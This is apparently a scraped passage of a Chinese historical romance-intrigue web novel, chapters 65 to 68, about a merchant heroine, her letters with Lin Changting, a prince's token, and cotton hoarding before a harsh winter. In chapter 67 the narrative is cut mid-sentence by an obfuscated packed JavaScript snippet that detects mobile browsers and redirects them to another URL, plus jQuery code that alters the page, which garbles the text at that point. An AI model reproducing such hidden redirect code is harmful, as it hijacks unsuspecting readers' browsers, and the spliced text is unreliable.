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两人相视而笑,彼此眼中映照出对方决绝的身影。她们天生便在这片自然的牢笼内赤脚奔跑,脚下是荆棘丛生的泥沼,头顶是密不透风的罗网。可两双同样燃烧着不甘与怒火的眼睛交汇,她们仿佛在对方身上看到了挣脱枷锁的希望。 她们要刺破黑暗,要咒骂肮脏的雾,要昂着头高歌。 从此绝不低语。 苏玉淑扶着茵茹站起身,理了理她微乱的衣襟,又替她拭去眼角未干的泪痕:“走吧,别让旁人看出破绽。” 茵茹深吸一口气,她努力压下翻涌的情绪,脸上重新挂上平日里那副温婉的笑容。她们并肩走出小亭,步履虽缓,却带着一种前所未有的沉稳。 半支残花随风而散,花瓣如雪一般飘向天际。 贾骐表面上与众人谈笑风生,但目光却始终追随着那两个人。他的直觉告诉他,怀谦县主身边的这个女子绝非易与之辈。 那双看似温和的眼睛里闪过一丝不易察觉的阴鸷,他端起酒杯,大笑着与旁人碰杯。辛辣的酒水入喉,他将满腹的怀疑都藏于心中。 这怀谦县主自从家道中落后便一直深居简出,她们方才在亭中私语良久,莫不是在密谋些什么?难不成她们发现了什么? 他眯起狭长的眼睛,目光如同毒蛇般在二人的背影上停留,试图从中找出些许破绽。若这女人真敢坏他的好事,他不介意让她知道得罪驸马爷的下场。 这种如芒在背的感觉,苏玉淑都不用回头就知道是谁。 好一个皇权无上,好一个权倾天下! 一种异样的兴奋在她胸中激荡,希冀与绝望交织的火焰似乎要将这腐朽的京城焚尽。她甚至开始期盼,期盼贾骐早日露出破绽,期盼这场精心布局的反击尽快到来。脚下的石板路冰冷又坚硬,却仿佛在为她们铺就一条通往战场的星河。 苏玉淑挺直了脊背,拉着茵茹的手,一步步走回喧嚣的人群中。 她的每一步都如同踩在敌人的心脏上,沉稳而坚定。 66. 第六十六章 “小姐,还不睡吗?今天都累了一天了。” 石竹贴心地为她披上一件披风,她家小姐已经在这里站了半个时辰了。就算是铁打的身子,也经不住秋日晚风这般的侵扰。 苏玉淑温柔地笑笑:“你和绿萝先休息,我再等等,应该快了。” “小姐在等——” 一道黑影以迅雷不及掩耳之势落入院中,来人正是林长亭一直留置于京中待命的死士——正一。 “见过苏大小姐。” “无需多礼,我怕京中有他人眼线,我们长话短说。” 正一起身,胡子拉碴的脸上带着礼貌的微笑:“大小姐不必担心。我跟随少爷时日最久,京中地形也最熟悉,不会有人跟得上我。昨日少爷飞鸽传书,命我务必交由您亲自过目。” 他取出几个纤细的纸筒,双手捧到她的面前。苏玉淑迫不及待地取过,她最想要得到的消息终于送到手边—— “私盐账目已拿到,务必小心漕运副使张固,户部侍郎李元山。” 短短一句话,数日来压在她胸口的石头终于落了地。看来一切正如她的安排推进下去,小六子的账本已经到手,现在只需抽丝剥茧,一步步查下去便是。 她迫不及待地打开第二个纸条,这里面一定有更有用的信息—— “玉淑,见字如面,我很想你。” 没事,第三张里面一定写了。林长亭很靠谱的。 “玉淑,事务繁忙,回京之日待定,好好吃饭。” 还有最后一个,前两个一定是自己运气不好才看到这么多废话,最后一个肯定没问题了。 “玉淑,想我的话就让正一传信,不要硬扛。” “有毛病啊!” 苏玉淑瞬间暴起,把纸条狠狠攥成一团:“你家少爷飞了几只鸽子就为了说这个?!” 正一迷茫地摇摇头:“属下不知少爷都写了什么……但是少爷给我的信中嘱咐我,让我将这个哨子交给大小姐。少爷在京中尚有些势力,若是大小姐需要帮助,吹响哨子便会有人前来救护。以后每两日我会来向您传递消息,如果大小姐有事需要我,可在院内树上挂一盏灯笼。” “知道了知道了。”她有些不耐烦地摆摆手,“你稍等我一下,我写封信给你家少爷。” 苏玉淑回到书房,挥毫沾墨却迟迟落不下这一笔。方才的气恼还未完全消散,可指尖触到微凉的笔杆,她心头却又涌上几分说不清道不明的柔软。 她本想质问他为何正事只字不提,尽说些无关紧要的话,可想到他那份笨拙的关切,她方才的怒火又像是落叶,被晚风轻轻吹散。苏玉淑深吸一口气,压下那些烦乱的思绪,凝神思索片刻,终于慎重下笔: “张固之事我会留意。京中一切安好。你在外亦需保重,万事以自身安全为要,勿念。” 写完,她又觉得末尾那句“勿念”太过生硬,犹豫片刻,终究还是没有涂改,只是将信纸仔仔细细叠好,递给了门外等候的正一。 “一定小心收好,不要弄丢。”她装作不在意地瞟着他将信装入密封筒的动作,“他大概几日能收到?” “算上今夜,大约三日。” 苏玉淑若有所思地点点头:“我知道了……他有没有说鸩最近怎么样?” “少爷暂未带话来。” “正一,你帮我查一查漕运副使张固,有什么消息随时送来。今夜你辛苦了,先回吧。” “是。” 一阵微风过后,院中已无人影。 漕运……户部…… 苏玉淑冷冷一笑,怪不得这么多私盐能运送得轻松,查起来困难,原来是控制了这水路运输的命脉。户部把握着东梁的财政大权,朝中有了这么一员大将,难怪贾骐有恃无恐。 不过线索既已递到手中,岂有被动挨打的道理。她翻看着桌案上的名帖,这些世族名门之中定有能为她所用之人。眼下她只需抽丝剥茧,冷静地把这盘棋一步步下完,才能将那些藏匿于暗处的魑魅魍魉一一揪出。 这场博弈才刚刚开始,每一步都需如履薄冰,稍有不慎便会满盘皆输。但此刻她心中的信念却比任何时候都要坚定。桌上的烛火摇曳,映照着她清瘦却挺拔的身影,却明亮得像要将这漫漫长夜燃成灰烬。 “不要勉强自己,注意身体。” 苏玉淑猛地抬起头:“林长亭?” 她真切地听到了他的嘱托,可身边确实空无一人。 许是方才写信时心绪翻涌,竟生出这般幻听来。她自嘲地勾了勾唇角,小心翼翼地展平了刚刚被自己揉皱的纸条。 月光透过窗棂洒在纸面,那几个隽秀端正的字迹仿佛带着他惯有的温度,让她指尖微微发颤。 “想我的话就让正一传信……”,她低声重复着,唇边泛起一丝连自己都未察觉的浅笑。夜风依旧微凉,却不再似先前那般刺骨,反倒像一双无温柔的手轻轻拂过她紧绷的肩头。她将纸条仔细捋平,夹进自己常看的那本书里。 苏玉淑轻轻端起烛台,轻轻吹熄。 翌日,玉海亭前人山人海,有各家的跑腿小厮,也有贵客亲自登门。昨日花会过后,玉海亭声名大噪,成了整个清河坊最繁忙的一家商铺。 店门还未开,一股奇特的香味儿便已从门缝中飘散出来,引得门外众人频频探头。这香味不同于寻常胭脂的甜腻,倒带着几分清雅的花果香,混合着大海独有的咸香气息,让人闻之精神一振。 “这是什么味儿啊?”顶门来的李梦云揉了揉鼻子,“倒是挺好闻。” “估计又是那苏掌柜藏的什么宝贝。你们是没见昨天怀谦县主那一身,那叫一个仙女下凡,高贵典雅……” 李梦云翻起一个白眼:“她一个县主用得,我就用不得?又不是什么贡品,管他什么买回来不就是了。” 众人谈笑间,王山打开了正门—— “各位贵宾,玉海亭今日备下了上好的新货,还请各位移步店内一观!” 李梦云挤到了前排,她一定要第一个看看这玉海亭里有什么好东西,好让昨日在花会上被怀谦县主压过的风头,能扳回一城。 刚踏入店内,她便被陈列架上那些晶莹剔透的物件吸引了目光——并非寻常的珠钗玉佩,而是一个个打磨光滑的贝壳,内里盛着不同色泽的粉末。李梦云忍不住凑近细细嗅闻,那清雅的香气正是从这些贝壳中散发出来的。 “姓苏的!你家这是什么?” 她颐指气使地叫住了刚要出门的苏玉淑,手里还紧紧抓着贝壳不放。 苏玉淑闻声回身,唇角噙着一抹浅淡的笑意:“哟,李小姐来得早。这是玉海亭特制的香盐,佐以东海珍珠粉,混入晨露采集的茉莉、晚香玉等各式花瓣研磨而成,气味清冽持久,熏香或者安枕皆可。” 说着,她小心翼翼地把那一盒香盐从李梦云手中接过:“李小姐,这盒不卖。” 李梦云眼睁睁看着苏玉淑将香盐放回原处,气呼呼地伸手去拦:“你一个开店的,岂有不卖货的道理!” “这是昨日花会时,怀谦县主特意预定的。县主说了,今日要亲自来取,我总不好失信于人。”她努努嘴,做出一副为难的样子,“还有旁边那盒紫色的,也不卖。” 李梦云脸色瞬间沉了下来,她本想抢先买下这新奇玩意儿,没想到竟被人捷足先登,还是那个刚出来就压她一头的怀谦县主。 “预定?我出双倍价钱!”她咬着牙说道,眼中闪过一丝不甘。 苏玉淑轻轻摇头:“李小姐说笑了。玉海亭做生意向来讲究先来后到,断没有为了高价就毁约的道理。不过店内还有些其他样式的香盐,虽不及这两盒精致,却也各有特色,李小姐若不嫌弃,不妨看看?” 李梦云冷哼一声,目光扫过那些贝壳,却觉得哪一个都比不上刚才那个顺眼。 “李小姐,你可有喜欢的?” “不就是个新鲜东西,又不值几个钱,我不……” 她话还没说完,王掌柜就凑过来讨好一笑:“打扰小姐了,这盒香盐那边的客人定了。” “唉!唉你站住!” 王山才不管这些,他捧了贝壳就走,这里面的客人非富即贵,他只认递到手里的银子,旁的他也不在乎。 李梦云看着王山的背影,气得胸口起伏,却又发作不得。店里香气袅袅,她眼见着香盐一盒盒地在自己眼前消失,成了别人的囊中之物。 她深吸一口气,强压下怒火,目光重新扫过货架,最终停留在一盒淡粉色的香盐上。 “这个,我要了。”她指着那盒香盐,语气依旧带着几分不忿。< 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苏玉淑轻咳一声,示意侍女取来算盘,指尖在木珠上轻点几下:“这排共有七盒香盐,其中''粉桃春露''与''青桂秋霜''是上等品,每盒纹银十五两,其余五盒中等品各十两,共计八十两。您方才给的是二十两,还需补足……六十两。” 她说话时始终垂着眼帘,语气平和得像是在报菜名,却让李梦云的脸色由红转白。 周围的窃笑声隐约传来,李梦云只觉耳根发烫,她不由分说地从侍女怀中袖中摸出张银票,狠狠地往柜台上一拍:“不用找了!” 说罢她头也不回地冲出店门,裙角带起的风掀得门口的珠帘哗哗作响。 苏玉淑望着她的背影莞尔,转头对王山低语:“把东西都包好,稍后派人送到李大人的府上,一定要亲手交到她手上,不得有误。” “小姐放心,我会派得力的人去,必不会出岔子。” 店里的人越来越多,这香盐的定价已经极尽高昂,可仍然挡不住这些络绎不绝的客人。在这繁华的京城中,金银犹如流水般从指缝间悄然流逝,只要能换来一时的风光与新鲜感,谁又会真正在意那区区几两碎银。 苏玉淑站在柜台后,看着侍女们有条不紊地为客人介绍、包装,眼角的余光却始终留意着门口的动静。 “哎呀……苏小姐的玉海亭当真是热闹非凡……” 来了! 苏玉淑热情又不失体面地迎了上去:“宁逸王真是贵步临贱地,有您的光顾,玉海亭上下真是蓬荜生辉。” 宁逸王一身月白锦袍,手摇折扇,身后跟着几位王府幕僚。见店内琳琅满目的新鲜货品,他勾起一抹玩味的笑意:“没想到苏大掌柜不仅懂得首饰衣衫,这香薰胭脂您也是在行。” 他走到陈列架前,拿起一盒盛着淡金色粉末的贝壳,放在鼻尖轻嗅,“嗯,这香气倒是别致,比宫里那些熏香有趣多了。” 苏玉淑笑道:“王爷谬赞了。这‘金沙落月’是用南海金贝研磨外壳,混入晒干的桂花与檀香末制成,气味醇厚又不失清透,最适合王爷这般气度不凡之人。” 宁逸王挑眉:“哦?苏小姐这是在夸本王?” “王爷说笑了,”苏玉淑垂眸,掩去眼底的狡黠,“小女子不过是实话实说。玉海亭的物件虽不敢自称绝无仅有,但每一件皆是用心雕琢之作,只盼能得贵人青睐。” 她双手接过那盒香盐,语气恳切:“玉海亭的货物能入王爷法眼,实乃我等玉海亭上下的无上荣幸。今日王爷所看中的物品,一概记在我的账上。” 宁逸王轻敲掌心,手中的折扇发出细微的声响,他的目光锐利如鹰,仿佛能洞穿她的内心:“苏小姐这是有意与本王结交?只是不知这份‘荣幸’……苏小姐期望从本王这里换取些什么。” “王爷说笑了,小女子不过是个寻常生意人,能得王爷赏识已是三生有幸,岂敢奢求其他回报。”苏玉淑心中一凛,但面上却笑得愈发从容。 她话锋一转,巧妙地引导宁逸王的视线投向二楼雅座:“店内新沏了香片茶,若王爷不嫌弃,不如移步内室,品茗片刻?” 宁逸王深深看了她一眼,“唰”地一声合上折扇:“也好,本王正想听听苏小姐这香盐背后的故事。” 两人一前一后步入内室,彼此相对而坐,唯有茶香在空气中悠悠萦绕。 67. 第六十七章 苏玉淑亲自为宁逸王斟上茶水,氤氲的热气模糊了她眼底的神色:“王爷尝尝,这香片是今年新窨制的。” “香气不俗。茶似乎是取的今年龙井,只是这香……倒是本王无知了。” “王爷哪里的话。”她笑得温柔,“是我家侍女奇思妙想,用了桂花和珠兰,这两种花不似玉兰名贵,倒是让您见笑了。” 宁逸王浅啜一口:“好茶。苏家的侍女都能有如此巧思,可见苏小姐是个心思灵巧之人。” “王爷谬赞。” 苏玉淑不再多说,只是默默地一次次为他添满茶水。她安静又耐心地等待着。 如同林间蓄势待发的猎豹。 宁逸王目光透过氤氲的水汽,在她脸上逡巡片刻:“昨日花会上,怀谦县主那身行头皆是出自苏小姐之手?” “承蒙县主不弃,正是小店玉海亭的手笔。” “你可知怀谦县主她……为何是县主?”宁逸王歪了歪头,眼神锐利得像破土的坚冰,“苏小姐刚入京不久,可千万不要……行差踏错。” 他这四个字说得极重。 苏玉淑轻轻放下水壶,她明知逾矩却仍旧选择直视宁逸王的双眼:“我知道。” “你不怕?” “怕?为何要怕?” 她笑得无畏,身后仿佛站着千军万马。苏玉淑为自己斟上一盏茶,她对宁逸王的到来并不意外,可他的立场却模糊得让她难以看清。 宁逸王笑笑:“苏小姐好胆识。想来……茵茹应是把事情的原委都告知于你了吧。” “嗯?”苏玉淑敏锐地抬了抬眉,“王爷这是……” “实不相瞒,我与茵茹青梅竹马,自小一同长大。只是后来的事情,我们谁都没有办法。苏小姐,我托人查了你的底细。你……是个可以信赖的人。” “难道王爷倾心于县主?” “不……”宁逸王的声音有些喑哑,笑容也透着苦涩,“我对茵茹,是守护之情,是世交之谊。苏小姐可相信男女之间,也有纯粹的知己情谊?无关风月,只关乎一份懂得与相惜。” 苏玉淑当然相信,她对王山便是如此。 “王爷一番话,玉淑感同身受。若是能救茵茹于水火之中,玉淑愿尽微薄之力。” 宁逸王收起了一直把玩着的扇子,他第一次正视面前的女子,她看似温婉柔顺,眼底却藏着不输男子的坚韧与果敢。 他沉默片刻,从袖中取出一枚小巧的银质令牌,轻轻放在桌上:“我府上有一先生,最擅长观星占卜。他说,今年会是个大寒之年。 玉海亭之物虽价贵精巧,可若要真正稳住,也需一个契机。这是宁逸王府的令牌,有了它,你便可送货上门,不会有人阻拦。苏小姐……你可懂我的意思?” 苏玉淑没有应允。她捧起茶杯,她的面容隐匿在水汽之后,无人能窥见她此刻真实的情绪。 茶香在两人之间静静流淌,空气中弥漫着一种无声的较量。 她摩挲着温热的杯壁,良久才缓缓抬眸:“王爷的意思是,在这大寒之年,会有什么变数?而您需要玉海亭……需要我扮演一个什么角色呢?” 她没有立刻接过令牌,仿佛那小小的银质物件似有千斤重,她每一个字都问得审慎又平静。 “难怪茵茹喜欢你。”宁逸王轻轻叹了口气,他虽贵为王爷,可一双眸子看上去总是湿漉漉的,透着几分难以名状的悲悯。 他将令牌向前推了推,语气中多了些重量,“苏小姐,你是个商人,自然知道东梁的丝织业有多么兴盛。我敢问一句,若是凛冬已至,东梁有多少人家能担负得起丝绸细软呢。至于这枚令牌……姑且算是我的定金,我要为宁逸王府上下定制些棉衣和过冬物资,还望苏小姐能早日交货。” “王爷,请恕玉淑冒犯。”她直勾勾地盯着宁逸王那似笑非笑的眼睛,“您还没有回答我的问题。” 宁逸王指尖在令牌边缘轻轻敲击着,发出笃笃的轻响,与茶炉上偶尔溅起的水声交织成一种奇异的韵律。 他忽然站起身来,笑盈盈地看着她,锦袍带起一阵细微的风。 “苏小姐,那就请你来送货的时候,带一些茵茹的消息给我吧。” 他不再停留,转身便朝门外走去,墨色的衣袍在空中划过一道利落的弧线,只留下一室尚未散尽的茶香和那枚静静躺在桌上的银质令牌,在午后的阳光下泛着冷冽的光。 苏玉淑依旧维持着捧杯的姿势,直到那道身影彻底消失在庭院深处,她才缓缓放下茶杯,目光落在令牌上,那刺目的光晃得她心底一阵发紧。 她轻轻触碰那令牌的边缘,金属的触感传来一阵冰凉。苏玉淑反复摩挲着令牌上繁复的纹路,那纹路精细得如同绣娘手中飞舞的丝线,却又带着皇家器物特有的冷硬威仪。 这纹路…… 难道是?! 她的心头猛地一跳,指尖微微一颤,那股寒意仿佛瞬间穿透了肌肤直抵心底。那块从杜家得来的令牌的纹路和这块极其相似,虽有细微的不同,可无论是纹样还是做工,都透着相同的气息。 那块令牌被林长亭当做证物留在了师城,她那颗急于求证的心此刻早已按捺不住。 苏玉淑深吸一口气,强迫自己冷静下来。 宁逸王此举,究竟是无意为之,还是有意将这枚令牌送到她面前?他究竟是意在修好,还是递过了一把最锐利的刀呢? 若两块令牌当真有所关联,这宁逸王又知道些什么…… 她垂下眼帘,将那枚银质令牌小心翼翼地收入袖中。窗外的阳光透过雕花窗棂洒进来,在地上投下斑驳的光影,一如她此刻的心境,明暗交错,方向难辨。 “小姐,没事吧?” 见二楼许久没有动静,王山终究还是放心不下。他的声音里带着满溢的关切,目光更是炽热:“宁逸王走的时候吩咐了,他府上要的货原样给怀谦县主府上也送一份,记在他的账上。这样大的手笔,大小姐,您……您和他谈些什么了?” “就按他说的做。”苏玉淑装作无事发生的样子笑笑,“只是县主的那一份记在我的私账上就是,不要让宁逸王破费了。我刚谈下了宁逸王府的一个大单,只是需要你帮我去跑个腿。” 王山像一条得令的小狗,眼神一下亮了起来:“大小姐有何吩咐?” “你去找个京中的道士,问问今年冬天可有异常。”她略作思忖,补了一句,“多找几个,最好是那种看上去云游四方的,在京中没什么根基的。” “是。”他虽不知道自家小姐要做些什么,可答应得无比痛快。玉海亭开业这短短半个月来,在苏玉淑的运筹帷幄下是名声大噪,只今日流水便有数百两。他略略算过,若是按照这个势头,刨去成本开销,只需半年便可回本盈利。 一想到这儿,王山的脊背都不由得挺直了几分。他不知为何胸中竟涌出几分得意来,自家小姐这般年纪轻轻,便能将生意做得如此风生水起。就连宁逸王这样的人物都愿亲自登门,往后玉海亭定能成为京中首屈一指的铺子,说不定整个苏家都能沾到小姐的光。 他兴冲冲地转身要去安排,却被苏玉淑叫住。 “等等,”她指尖轻轻敲击着桌面,声音压得极低,“此事需得隐秘,莫要让旁人知晓是玉海亭的人打听。” “小姐您只管放心,待明日我换一身粗布衣服,到城隍庙和道观去打探打探。那里向来是三教九流汇聚之低,我一定把您交代的事儿办的漂亮。小姐可还有别的吩咐?” 他目光中的期盼之意是如此明显,如同等待主人指令的幼犬,急切地想要证明自己的能力。 苏玉淑起身时正对上王山的眼神。 他现在这副样子,倒是让她想起了小时候。那时王山刚被捡回苏家,瘦得像根柴火棍,却总爱跟在她身后一声不吭地替她扛着书盒,冬日里冻得通红的手还紧紧攥着她落下的画笔。 如今他褪去了青涩,眉宇间多了几分沉稳,却依旧是那个会把她的话奉若圭臬的少年。 苏玉淑心中微动,她拍了拍王山的胳膊,淡淡笑道:“去吧,万事小心。” “是,大小姐。” 王山应声而去,脚步轻快得像踩着风。 街道上车水马龙,鼎沸人声不断。玉海亭二楼的雕花木窗半开着,将楼下的喧嚣滤成了模糊的声音。苏玉淑独自伫立在窗边,她抬手拢了拢鬓边的碎发,指尖冰凉。 苏玉淑只觉得自己像是挣扎在秋风里的候鸟,找不到一处可以安稳栖息的巢穴。她竭尽全力地扑腾着翅膀,她不知道自己的方向是否正确,也不知道前方等待她的是温暖的南方还是更凛冽的寒风。 她找不到同类,也找不到归途。 可没有时间再让她挣扎,也没有时间再让她犹豫了。 宁逸王既然主动招揽,无论这背后是何深意,她都必须面对。 一个大胆的计划渐渐成型在苏玉淑的脑海里,此举虽冒险,可眼下也只有这一条路可以走。 这场棋局,她接下了。 唰—— 一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750030|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆润的,小小的身影落在了窗棂上。 “少爷!是京城的消息!”叶英兴奋地抱过咕咕叫的灰鸽子,手脚麻利地拆下上面的信筒。 他只扫了一眼便一个箭步猛地蹿到林长亭的身边,语气里是抑制不住的欢快:“是苏大小姐的消息!她给您回信啦!” 刚刚还伏首于案间的林长亭一下子抬起头来,他顾不上有些发麻的双腿,三步并作两步地抢过信,迫不及待地展开信纸。 熟悉的簪花小楷映入眼帘,字迹清丽却不失风骨,一如她本人。 信中并未详述京中琐事,只寥寥数语报了平安。 他的眸子宛如将熄的炭火,一点点地暗了下去。 “怎么了……少爷?您怎么不高兴了?” “没了?” “啊?”叶英挠了挠头,“信吗?就这一封啊。” 林长亭紧紧合上眼睛,他冷哼一声,怎么这丫头到了京城还是学不乖,就这么几个破字儿就给他打发了! 平安?京中暗流涌动,她一个无权无势的小女子,如何能真正平安?他都不用多想,就知道苏玉淑一定是报喜不报忧。 这个笨蛋怎么就不多想想,难道不是说的越少,他越是担心吗?他用力地攥着信纸,连薄薄的纸张哪里受的起,当即微微发皱卷起了边。 叶英在一旁看得心惊胆战,少爷这脸色,像是要把信纸生吞活剥了似的。他缩了缩脖子,不敢再多问,只默默地退到一旁。 苏大小姐这信写得也太简短了些,难怪少爷不高兴。 林长亭深吸一口气,他将信纸小心翼翼地折好,收入怀中贴身藏着,仿佛这样就能离那个远在京城的人近一些。 “叶英,”林长亭的声音带着一丝不易察觉的沙哑,他抚上胸口的手迟迟不肯放下,“案子的证物还差多少?” “回少爷,东流盐场那些渴乌的拆除还需要些时日,以及史明在师城还有一些眼线没有拔除。不过您放心,已经有眉目了。” “每次都是这些话。”焦躁的情绪在林长亭的眼底翻涌,他猛地拍向书案,墨汁一下子溅得满地狼藉。 “本就该这个月前了结的事,拖到现在还在说‘有眉目’!叶英,你跟在我身边多久了?这点小事都办不利索!” 叶英吓得“噗通”一声跪倒在地,头埋得低低的:“属下无能,请少爷责罚!” 林长亭闭了闭眼,胸口剧烈起伏着,方才读信时的失落与此刻积郁的烦躁交织在一起,让他几乎控制不住自己的情绪。他知道迁怒叶英不对,可一想到苏玉淑在京城孤身涉险,而他却被困在这师城的烂摊子里动弹不得,心头的火气便怎么也压不下去。 “起来。”良久,他才哑着嗓子开口,声音里的戾气散去些许,却多了几分疲惫,“加派人手,东流盐场的渴乌三天内必须拆干净,至于那些眼线眼线……活要见人,死要见尸。” “是!属下这就去办!”叶英如蒙大赦,连滚带爬地起身,不敢再多看一眼林长亭阴沉的脸色,转身便疾风般冲了出去。书房内只剩下林长亭一人,他缓缓走到窗边,望着天边那朵孤零零的云。 勿念,勿念,勿念! 他怎么可能做得到?她真就一点儿都不想自己? 那云飘得极快,像被无形的手推着往前赶,转眼便隐入了厚重的云层里,只留下一片空荡荡的天。 林长亭伸出手,想要抓住些什么,指尖却只触到一片冰凉的风。 他自嘲地勾了勾唇角,她在京中忙着周旋,忙着站稳脚跟,或许连片刻的闲暇都没有,又怎会分神想起他这个远在师城的人。 林长亭忍不住又把信取了出来,他动作极尽轻柔,生怕再让它多一条伤疤。 看着这几个字,他笑了,笑得极苦。 他就这样站在那里,这片无边的永夜将他所有的思念包裹,他感受不到时间的流逝,也没有想要挣脱的力气。他只觉得这师城的每一寸空气都压抑得让人喘不过气,那些未了结的案子、剪不断的线索,像一把无法挣脱的锁,将他牢牢困在原地。 而远在京城的那个人,此刻又在经历着怎样的风雨?她是否也如他一般,在某个无人的角落,独自舔舐着难以言说的疲惫与不安? 半晌,他重新收拾好书桌,沉默着拿起了笔。 “思君如满月,夜夜减清辉。玉淑,善自珍重。钱知事可信任,有事找他便是。” 林长亭抱起飞鸽,他把思念的重量全部系于一双翅膀—— “去吧,到那个人的身边吧。” 68. 第六十八章 “小姐,大早晨的我们来这码头做什么呀?” 蒙蒙亮的清晨冻得绿萝不住地跺脚,她可是“春捂秋冻”之说忠实的信徒,但秋日的河风可不会放过任何一个穿着单薄的人。 “让你多穿点,你偏不。”苏玉淑无奈地掏出几个铜板,“你去买两个烧饼,咱们一边吃一边捂捂手吧。” 两人今日穿着朴素,未着粉黛,就这么素面朝天地捧着两个热乎乎的饼坐在路边,不知道的还以为是哪家的野丫头。 “小姐,你盯着这几个力工好久了,你到底在看什么啊?”绿萝隔着油纸把烧饼贴在脸上,白皙的皮肤当即红了一小片,“这有什么好看的,你要是想看男人,那王掌柜也挺标致的。” 苏玉淑瞪大了眼睛,她坏心眼地把烧饼往她脸上用力一按:“你这丫头说什么呢!” “哎哟!烫!” “你看好了,这儿都是瑞发号的伙计,我这是盯着他们搬货呢。” “瑞发号?那是干什么的呀?” “我差人打听过了,这瑞发号是京城里最大的棉商,做的是官棉的生意。前几天我得来了宁逸王的消息,这不来看看他们在做什么。” “是说今年冬天将要大寒的事儿?” 苏玉淑狠狠咬下一口烧饼:“对。东梁棉花只在北方盛产,我们做丝织生意利润虽大,可若是真如他所说,凛冬之下岂能靠这些衣物御寒!若是瑞发号提前囤货,那这消息……十有八九便是真的了。” 她装作不在意地瞟着码头上忙碌的汉子,清晨虽冷,可他们竟打着赤膊,搬得是热火朝天。 岸上的棉包堆叠得足有半人高,麻袋上"瑞发"二字被磨得有些模糊,却依旧透着不容小觑的气势。 苏玉淑数着那些从漕船上源源不断卸下来的棉包,眉头微蹙。眼下只是初秋,还未至重阳,怎就用的了这么多棉花?码头上还有几艘船尚未卸货,加上已经走了的两车,总不下数百石。 绿萝啃着烧饼含糊道:“小姐,他们搬这么多棉花做什么?难道真要天寒地冻不成?” 苏玉淑没接话,只是将目光投向不远处一个正在清点数目、账房模样的中年男人。那人算盘打得噼啪响,时不时抬头呵斥两句动作慢的伙计,语气里满是焦躁。 “快点儿的,都给我麻利点儿!还有三船货没卸呢!今儿这几艘船就得走,都别给我在这儿磨洋工,小心我扣你们的工钱!” 那账房先生嗓门洪亮,震得绿萝耳朵嗡嗡作响,她忍不住往苏玉淑身后缩了缩,小声嘀咕:“这人好凶啊,不就是搬个棉花嘛,至于这么着急吗?这么多棉花,就这么几个人搬,还不得给人累死。” “要不是为了口饭,谁会给这种人卖命呢。” 苏玉淑长叹一声,她的视线紧紧锁在账房先生手边的那本泛黄的账簿上,虽然隔得远看不清上面的字迹,但那快速翻动的纸页和账房先生愈发凝重的神色,让她心中那股不安的预感愈发强烈。 “绿萝,我记得咱们家门口有两个小乞丐吧。” “是呀,上次石竹还给了他们口饭吃呢。怎么了小姐?” 她把最后一口烧饼吞进肚,起身拍了拍手上的油渍:“回去给他们点儿钱,让他们每天来这码头,把瑞发号的船货给我盯紧了。” “是。” “走吧。我们先回去,听听王掌柜怎么说。” 玉海亭内。 “他们真这么说的?” “回大小姐,千真万确。”王山拱手道,“我先到了城隍庙,见一群人都围着一个算卦的老道士,便混在人群里瞧个热闹。巧的是刚好有个老农民问到今年冬岁如何,那老道答道,‘今年冬节,数九寒天,非比寻常。 霜降之后,便有暴雪,至冬至前后,更是滴水成冰农人当早收晚种,囤积粮草,商户当备足柴炭,莫要远行。’当时围观众人皆啧啧称奇,那老农更是连连作揖,说要回去赶紧告诉乡亲们准备过冬。我听了这话,心里咯噔一下,这不正和小姐您之前说的宁逸王的消息对上了吗?” 王山说得激动,兴奋之色溢于言表。见她不语,又补充道:“我怕那老道是信口胡说,特地又去了一趟京城东郊的道观。那里居士不少,香火也旺,想来是灵验的。我见一个老道正在洒扫,慈眉善目、胡子花白的,便上前询问。” 奔波劳碌一天,他已是口渴难耐。他取过一旁的茶壶,此刻也顾不上规矩了。王山自斟自饮,清了清喉咙—— “然后呢然后呢?”绿萝两眼放光,她像是在听话本子似的期待着后面的故事。 王山笑笑,也不卖关子:“然后那老道士告诉我,‘今年冬季确有异常寒灾,且会持续数月之久。天地之气紊乱,北方雪灾尤甚,南方亦会受其波及,虽无暴雪,但湿冷刺骨,需早做防备。’我追问可有化解之法,他只摇头道‘顺应天时,囤积御寒之物,方为上策’。” “看来这宁逸王给我们的消息是真的了。” 苏玉淑不自觉地轻咬着食指的骨节,寒冬……漕运……棉花…… 她猛地一拍桌子:“这生意,咱们玉海亭做了!” 比起被吓了一跳的绿萝,王山对她的反应并不意外。他家小姐一向杀伐果断,此刻既有贵人相助,那便没有不放手一搏的道理。 更何况……他相信她。 他的大小姐,不会有错。 “大小姐,要如何做?盈字号不曾涉及棉花生意,是否要回师城向荣字号的掌柜的请教一下?” 苏玉淑摇摇头:“我修书一封便是,用不着你再跑一趟,还有更重要的事交给你做。” “大小姐尽管吩咐。” “你去瑞发号买些棉花,看看他家定价如何。若是有人问起……” “便说我是家中总管,替上下老小采买越冬之物。”他眉眼弯弯,看向小姐的眼神越发粘稠。 苏玉淑满意地敲了敲算盘,噼里啪啦的响声总是能让她的心安定上几分。她必须抢在深秋前将棉花弄回京城,说不好就在这个月内便会与贾骐短兵相接。这比她料想的还要早,贾骐父家出身商贾,想来在京中商场之中也颇具人脉。 难道说…… 宁逸王的心思,她死怎么也琢磨不透。眼下时局尚未明朗,她就像是一只在森林里乱撞的小狼,空有一身的力气没地方使。 不过兵来将挡水来土掩,她苏玉淑总有办法。 “绿萝,今晚回府时在我院子里挂上一盏灯。” 苏玉淑早早地等候着正一的到来。她对林长亭的这位死士知之甚少,只知他是所有人中唯一有家室且年纪最长的。 办事得力又分寸有度,也难怪林长亭会把他单独留在京城。 “苏小姐,不知您有何吩咐。” 她交过一封信,一双眼睛即使在夜里也光彩熠熠:“把它交给你们少爷,一定要快。” “是。” 正一双手接过信的瞬间,略有些讶异地眯了眯眼睛。 这封信……可比上次重了不少呢。 “苏小姐可还有其他吩咐?” “你去帮我查几个人。” “大小姐尽管吩咐。” “漕运副使张固,还有瑞发号的掌柜。我要关于他们的全部的线索,不管有用没有,甚至是家庭内宅的琐事我都要知道。” 